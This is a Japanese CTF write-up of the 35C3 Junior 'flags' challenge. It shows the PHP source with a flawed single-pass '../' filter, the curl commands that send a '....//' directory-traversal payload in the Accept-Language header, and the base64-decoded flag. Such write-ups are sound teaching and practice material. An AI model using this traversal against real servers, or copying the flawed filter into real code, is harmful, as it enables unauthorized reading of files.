35C3 Junior CTF: flags

問題

問題文

Fun with flags: http://35.207.169.47

Flag is at /flag

Difficulty estimate: Easy

問題概要

解答例

指針

解説

HTTP_ACCEPT_LANGUAGE の値に応じた国旗を表示するサービスが与えられる. /flag に flag があると問題文で言われているので, HTTP_ACCEPT_LANGUAGE の値を flag にしてみる.

 $ curl -s -H 'Accept-Language: flag' http://35.207.169.47
<code><span style="color: #000000">
...
(snip)
...
</code><br />
<b>Warning</b>:  file_get_contents(flags/flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>6</b><br />
<img src="data:image/jpeg;base64,/9j/4...

flags/flag にはファイルやディレクトリがないと言われる. ディレクトリを遡り管理者の意図しないファイルにアクセスする攻撃であるディレクトリトラバーサル攻撃をすることを考える.

与えられた phpソースコードは以下のようなものであった.

<?php
  highlight_file(__FILE__);
  $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
  $lang = explode(',', $lang)[0];
  $lang = str_replace('../', '', $lang);
  $c = file_get_contents("flags/$lang");
  if (!$c) $c = file_get_contents("flags/ot");
  echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';

以下の部分は典型的なディレクトリトラバーサル攻撃対策の失敗例.

  $lang = str_replace('../', '', $lang);

一度しか str_replace() が実行されないため ....// のような文字列を含むパラメータを渡すと攻撃が成立していしまう.

4つ上のディレクトリにある flag というファイルに flag が書かれたファイルがあった.

$ curl -s -H 'Accept-Language: ....//....//....//....//flag' http://35.207.169.47
<code><span style="color: #000000">
...
(snip)
...
</code><img src="data:image/jpeg;base64,MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=">

grep コマンドで Mz で始まり = で終わる文字列のみを表示する.

$ curl -s -H 'Accept-Language: ....//....//....//....//flag' http://35.207.169.47 | grep -oE Mz.*=
MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=

この文字列を base64 デコードすると flag が得られた.

$ curl -s -H 'Accept-Language: ....//....//....//....//flag' http://35.207.169.47 | grep -oE Mz.*= | base64 -d
35c3_this_flag_is_the_be5t_fl4g

参考文献